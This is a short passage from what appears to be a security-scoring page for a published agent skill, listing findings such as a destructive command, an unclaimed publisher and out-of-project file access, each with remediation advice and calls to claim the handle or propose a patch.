  4. Destructive command against a filesystem root or device≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  5. Unclaimed publisher≈ +8 on the totalClaim to0wnn: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  6. Touches files outside the project≈ +7 on the totalKeep reads and writes inside the working directory, or declare the exact paths in `filesystem:` and explain why in the README.
Publish a new version to Glama, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim to0wnnPropose a patch to the maintainer